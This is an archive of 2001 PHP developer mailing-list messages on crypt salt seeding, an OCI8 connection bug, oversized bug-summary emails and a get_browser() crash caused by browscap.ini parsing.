===

- James


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Re: Crypt salts not random.. (fwd)

[James Moore]

> > > In order to avoid this you actually have to call it at completely 
> > different
> > > times, something you can't really guarantee.  We should 
> probably not use
> > > the timestamp as the seed (at least not alone), but also take 
> the pid into
> > > account.
> > >
> > > Zeev
> > >
> >
> >That only really works for forking webservers, does it not? Another 
> >alternative
> >would be to use microseconds...
> 
> Yeah we could use microseconds but are they available on all platforms?
> In any case, on non-forking servers we can use thread id.

We have accuracy to milliseconds only on Win32.

- James

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] STOP PRODUCTION

[James Moore]

K the fix seems to have worked for me too I cant reproduce this any more.

- James

> -Original Message-
> From: Andi Gutmans [mailto:[EMAIL PROTECTED]]
> Sent: 29 April 2001 08:35
> To: [EMAIL PROTECTED]
> Subject: Re: [PHP-DEV] STOP PRODUCTION
>
>
> Please try the latest Zend CVS.
> Also, if you're going to use an Email address which doesn't work at least
> set your Reply-To: field to php-dev.
>
> Andi
>
> At 06:39 PM 4/28/2001 -0400, you wrote:
> >Serious problem...
> >
> >I checked out php4 today, and compiled it on windows and linux.
> >
> >The bang (!) in the if statement changes the resource to
> >if(!($connection=ociplogon("scott","tiger","orcl"))) {
> >var_dump($connection) = resource(1) of type (Unknown)
> >w/out the bang(!)
> >if(($connection=ociplogon("scott","tiger","orcl"))) {
> >var_dump($connection) = resource(1) of type (oci8 connection)
> >
> >This code fails miserably:
> >
> > >$connection=0;
> >$statement=0;
> >if(!($connection=ociplogon("scott","tiger","orcl"))) {
> >   echo "above result is false, so this will probably never
> happen\n";
> >}
> >var_dump($connection);
> >$query = "select user from dual";
> >$statement=OCIParse($connection,$query);
> >OCIExecute($statement);
> >OCIFetch($statement);
> >echo OCIResult($statement,1)."\n";
> >OCIFreeStatement($statement);
> >?>
> >
> >
> >
> >--
> >PHP Development Mailing List 
> >To unsubscribe, e-mail: [EMAIL PROTECTED]
> >For additional commands, e-mail: [EMAIL PROTECTED]
> >To contact the list administrators, e-mail: [EMAIL PROTECTED]
>
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] Re: Assigned PHP 4 bugs reminder

[James Moore]

Can we get it to stop listing bogus reports too. THat will drop the size by
a large amount.

- James

> -Original Message-
> From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]On Behalf Of
> Jani Taskinen
> Sent: 29 April 2001 08:48
> To: Andrei Zmievski
> Cc: Derick Rethans; [EMAIL PROTECTED]; Sascha Schumann
> Subject: Re: [PHP-DEV] Re: Assigned PHP 4 bugs reminder
>
>
> On Sat, 28 Apr 2001, Andrei Zmievski wrote:
>
> >On Sat, 28 Apr 2001, Derick Rethans wrote:
> >> Hello,
> >>
> >> this time I got two of those, but still no PHP 4 Bug Summary...
> >>
> >> On 28 Apr 2001 [EMAIL PROTECTED] wrote:
> >>
> >> > 9163:mcrypt_list_algorithms doesn't work
> >> > 10187:   Warning: mcrypt module initialization failed
> >> > 10518:   mcrypt_generic is padding input when using cfb and ofb modes
> >> > 9775:libmcrypt-2.4.9 causes random segmentation faults
> >
> >This is happening because the bug summary message is about 104K in
> >length and ezmlm is blocking it based it on its size. I'm not quite sure
> >what to do about this, since increasing the allowed message size might
> >lead to some problems in the future. Sascha?
>
> ROFLMAO!!!
>
> Only real fix for this bug is to fix those bugs.. :)
> Every other action is just closing your eyes.
>
> Sascha, fix those session bugs. Or close the reports at least,
> if you think they're not really bugs.
>
> --Jani
>
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

RE: [PHP-DEV] RE: Bug #4787 Updated: get_browser() still segments

[James Moore]

its just the side effects of a fix like this that we need to think about as
its the same parser as parses the php.ini file so if we start defaulting
things then we could have problems.. perhaps we could have an error callback
that allows us to handle errors from the parser as we want to rather than
just having ini_error being called..

- James

> -Original Message-
> From: Sean R. Bright [mailto:[EMAIL PROTECTED]]
> Sent: 28 April 2001 19:04
> To: 'James Moore'; 'Liz'
> Cc: '[EMAIL PROTECTED]'
> Subject: RE: [PHP-DEV] RE: Bug #4787 Updated: get_browser() still
> segments
>
>
> This seems like a relatively easy thing to fix.  Perhaps we should just do
> that.
>
> > -Original Message-
> > From: James Moore [mailto:[EMAIL PROTECTED]]
> > Sent: Saturday, April 28, 2001 2:02 PM
> > To: James Moore; Liz
> > Cc: [EMAIL PROTECTED]
> > Subject: RE: [PHP-DEV] RE: Bug #4787 Updated: get_browser() still
> > segments
> >
> >
> > replying to myself; but this seems to be caused by
> > browscap.ini not having
> > an value for
> >
> > AuthenticodeUpdate=
> >
> > all others have varaible=value this is the only one without a
> > valid value.
> > Do we need to fix zend_ini_parser.c to deal with this or do we need to
> > contact the browsecap people about this?
> >
> > - James
> >
> > > -Original Message-
> > > From: James Moore [mailto:[EMAIL PROTECTED]]
> > > Sent: 28 April 2001 18:46
> > > To: Liz
> > > Cc: [EMAIL PROTECTED]
> > > Subject: RE: [PHP-DEV] RE: Bug #4787 Updated: get_browser() still
> > > segments
> > >
> > >
> > > the php.exe gives an error parsing the newest browscap.ini
> > file Ill look
> > > into that.
> > >
> > > - James
> > >
> > > > -Original Message-
> > > > From: Liz [mailto:[EMAIL PROTECTED]]
> > > > Sent: 28 April 2001 18:30
> > > > To: Bug Database
> > > > Subject: [PHP-DEV] RE: Bug #4787 Updated: get_browser()
> > still segments
> > > >
> > > >
> > > > Yeah, I noticed that as I downloaded it.. odd, coz RC7 didnt...
> > > >
> > > > > -Original Message-
> > > > > From: Bug Database [mailto:[EMAIL PROTECTED]]
> > > > > Sent: Saturday, April 28, 2001 5:51 PM
> > > > > To: [EMAIL PROTECTED]
> > > > > Subject: Bug #4787 Updated: get_browser() still segments
> > > > >
> > > > >
> > > > > ID: 4787
> > > > > Updated by: jmoore
> > > > > Reported By: [EMAIL PROTECTED]
> > > > > Old-Status: Open
> > > > > Status: Closed
> > > > > Bug Type: Reproduceable crash
> > > > > PHP Version: 4.0.0 Release
> > > > > Assigned To:
> > > > > Comments:
> > > > >
> > > > > This works in the latest CVS. (tested under Win2k (ISAPI & CGI)
> > > > > without and with browscap.ini)
> > > > >
> > > > > - James
> > > > >
> > > > > Previous Comments:
> > > > >
> > > > --
> > > > -
> > > > >
> > > > > [2001-04-24 17:22:46] [EMAIL PROTECTED]
> > > > > With 4.0.5RC7 this still occurs, it only worked for the
> > CVS at the
> > > > > time it was closed. Its never worked before or since.
> > > > >
> > > > > I can also recreate this on Mandrake as well. Oh, and it seems
> > > > > under windows 2000 pro/IIS5
> > > > >
> > > > >
> > > > --
> > > > -
> > > > >
> > > > > [2000-07-23 18:42:25] [EMAIL PROTECTED]
> > > > > That works very nicely, thank you.
> > > > >
> > > > > Although, the code on the get_browser() page actually returned.
> > > > >
> > > > > Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
> > > > >
> > 
> > > > > 
> > > > >  browser_name_pattern: Mozilla/4.0 (compatible; MSIE
> > 5.5; Windows 98)
> > > > > parent: IE 5.0
> > > > > version: 5.5
> > > > > minorver: 5
> >

RE: [PHP-DEV] RE: Bug #4787 Updated: get_browser() still segments

[James Moore]

replying to myself; but this seems to be caused by browscap.ini not having
an value for

AuthenticodeUpdate=

all others have varaible=value this is the only one without a valid value.
Do we need to fix zend_ini_parser.c to deal with this or do we need to
contact the browsecap people about this?

- James

> -Original Message-
> From: James Moore [mailto:[EMAIL PROTECTED]]
> Sent: 28 April 2001 18:46
> To: Liz
> Cc: [EMAIL PROTECTED]
> Subject: RE: [PHP-DEV] RE: Bug #4787 Updated: get_browser() still
> segments
>
>
> the php.exe gives an error parsing the newest browscap.ini file Ill look
> into that.
>
> - James
>
> > -Original Message-
> > From: Liz [mailto:[EMAIL PROTECTED]]
> > Sent: 28 April 2001 18:30
> > To: Bug Database
> > Subject: [PHP-DEV] RE: Bug #4787 Updated: get_browser() still segments
> >
> >
> > Yeah, I noticed that as I downloaded it.. odd, coz RC7 didnt...
> >
> > > -Original Message-
> > > From: Bug Database [mailto:[EMAIL PROTECTED]]
> > > Sent: Saturday, April 28, 2001 5:51 PM
> > > To: [EMAIL PROTECTED]
> > > Subject: Bug #4787 Updated: get_browser() still segments
> > >
> > >
> > > ID: 4787
> > > Updated by: jmoore
> > > Reported By: [EMAIL PROTECTED]
> > > Old-Status: Open
> > > Status: Closed
> > > Bug Type: Reproduceable crash
> > > PHP Version: 4.0.0 Release
> > > Assigned To:
> > > Comments:
> > >
> > > This works in the latest CVS. (tested under Win2k (ISAPI & CGI)
> > > without and with browscap.ini)
> > >
> > > - James
> > >
> > > Previous Comments:
> > >
> > --
> > -
> > >
> > > [2001-04-24 17:22:46] [EMAIL PROTECTED]
> > > With 4.0.5RC7 this still occurs, it only worked for the CVS at the
> > > time it was closed. Its never worked before or since.
> > >
> > > I can also recreate this on Mandrake as well. Oh, and it seems
> > > under windows 2000 pro/IIS5
> > >
> > >
> > --
> > -
> > >
> > > [2000-07-23 18:42:25] [EMAIL PROTECTED]
> > > That works very nicely, thank you.
> > >
> > > Although, the code on the get_browser() page actually returned.
> > >
> > > Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
> > > 
> > > 
> > >  browser_name_pattern: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
> > > parent: IE 5.0
> > > version: 5.5
> > > minorver: 5
> > > platform: Win98
> > > Beta: 1
> > > browser: IE
> > > Version: 5.0
> > > majorver: 5
> > > frames: 1
> > > tables: 1
> > > cookies: 1
> > > backgroundsounds: 1
> > > vbscript: 1
> > > javascript: 1
> > > javaapplets: 1
> > > ActiveXControls: 1
> > > Win16:
> > > beta:
> > > AK:
> > > SK:
> > > AOL:
> > > crawler:
> > > MSN:
> > > CDF: 1
> > > DHTML: 1
> > > XML: 1
> > >
> > > (ie the browser name pattern had extra backslashes in before the
> > > fullstops - but that I suppose is a different problem)
> > >
> > >
> > --
> > -
> > >
> > > [2000-07-23 13:35:09] [EMAIL PROTECTED]
> > > Please try latest CVS and report what happens.
> > >
> > >
> > --
> > -
> > >
> > > [2000-06-02 21:31:48] [EMAIL PROTECTED]
> > > I have compiled PHP with
> > >
> > > ./configure' '--width-apache=/usr/src/apache-3.1.12' '--with-mysql'
> > > '--enable-track-vars' '--disable-debug' '--enable-calendar'
> > > '--enable-dbase' '--enable-ftp' '--enable-trans-sid'
> > > '--enable-inline-optimization' '--enable-discard-path'
> > >
> > > I have tried every which way but loose to get this to work, even
> > > tried compiling up a CGI version. (as above but without apache)
> > >
> > > OK, when 

RE: [PHP-DEV] RE: Bug #4787 Updated: get_browser() still segments

[James Moore]

the php.exe gives an error parsing the newest browscap.ini file Ill look
into that.

- James

> -Original Message-
> From: Liz [mailto:[EMAIL PROTECTED]]
> Sent: 28 April 2001 18:30
> To: Bug Database
> Subject: [PHP-DEV] RE: Bug #4787 Updated: get_browser() still segments
>
>
> Yeah, I noticed that as I downloaded it.. odd, coz RC7 didnt...
>
> > -Original Message-
> > From: Bug Database [mailto:[EMAIL PROTECTED]]
> > Sent: Saturday, April 28, 2001 5:51 PM
> > To: [EMAIL PROTECTED]
> > Subject: Bug #4787 Updated: get_browser() still segments
> >
> >
> > ID: 4787
> > Updated by: jmoore
> > Reported By: [EMAIL PROTECTED]
> > Old-Status: Open
> > Status: Closed
> > Bug Type: Reproduceable crash
> > PHP Version: 4.0.0 Release
> > Assigned To:
> > Comments:
> >
> > This works in the latest CVS. (tested under Win2k (ISAPI & CGI)
> > without and with browscap.ini)
> >
> > - James
> >
> > Previous Comments:
> >
> --
> -
> >
> > [2001-04-24 17:22:46] [EMAIL PROTECTED]
> > With 4.0.5RC7 this still occurs, it only worked for the CVS at the
> > time it was closed. Its never worked before or since.
> >
> > I can also recreate this on Mandrake as well. Oh, and it seems
> > under windows 2000 pro/IIS5
> >
> >
> --
> -
> >
> > [2000-07-23 18:42:25] [EMAIL PROTECTED]
> > That works very nicely, thank you.
> >
> > Although, the code on the get_browser() page actually returned.
> >
> > Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
> > 
> > 
> >  browser_name_pattern: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)
> > parent: IE 5.0
> > version: 5.5
> > minorver: 5
> > platform: Win98
> > Beta: 1
> > browser: IE
> > Version: 5.0
> > majorver: 5
> > frames: 1
> > tables: 1
> > cookies: 1
> > backgroundsounds: 1
> > vbscript: 1
> > javascript: 1
> > javaapplets: 1
> > ActiveXControls: 1
> > Win16:
> > beta:
> > AK:
> > SK:
> > AOL:
> > crawler:
> > MSN:
> > CDF: 1
> > DHTML: 1
> > XML: 1
> >
> > (ie the browser name pattern had extra backslashes in before the
> > fullstops - but that I suppose is a different problem)
> >
> >
> --
> -
> >
> > [2000-07-23 13:35:09] [EMAIL PROTECTED]
> > Please try latest CVS and report what happens.
> >
> >
> --
> -
> >
> > [2000-06-02 21:31:48] [EMAIL PROTECTED]
> > I have compiled PHP with
> >
> > ./configure' '--width-apache=/usr/src/apache-3.1.12' '--with-mysql'
> > '--enable-track-vars' '--disable-debug' '--enable-calendar'
> > '--enable-dbase' '--enable-ftp' '--enable-trans-sid'
> > '--enable-inline-optimization' '--enable-discard-path'
> >
> > I have tried every which way but loose to get this to work, even
> > tried compiling up a CGI version. (as above but without apache)
> >
> > OK, when I run it as a module, using the code for the get_browser()
> > in the helpfile on here aka
> >
> >  > function list_array( $browser ) {
> >while ( list( $key, $value ) = each( $browser ) ) {
> >   $str .= "$key: $valuen";
> >}
> >return $str;
> > }
> > echo "$HTTP_USER_AGENTn";
> > $browser = get_browser();
> > echo list_array( (array) $browser );
> > ?>
> >
> > All I get is
> >
> > Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
> > 
> > 
> >  0:
> >
> > Whatever the browser/os is, I downloaded the browser.ini file from
> > cyberscap I think - whereever it was PHP suggested, and I know its
> > reading it, as if I break the ini file by making false entries it
> > tells me - I checked that much
> >
> > The CGI version does a segmentation fault.
> >
> > A working example is on http://www.xcalibur.co.uk/browser.html
> >
> >
> > It also did it with
> > ./configure' '--width-apache=/usr/src/apache-3.1.12'
> >
> >
> --
> -
> >
> >
> >
> > ATTENTION! Do NOT reply to this email!
> > To reply, use the web interface found at
http://bugs.php.net/?id=4787&edit=2
>


--
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]